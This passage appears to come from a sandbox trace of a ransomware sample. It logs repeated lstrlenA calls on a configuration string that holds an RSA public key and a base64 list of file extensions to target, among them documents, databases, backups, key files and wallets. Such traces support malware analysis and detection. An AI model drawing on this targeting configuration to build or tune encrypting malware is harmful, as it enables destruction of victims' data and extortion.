J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA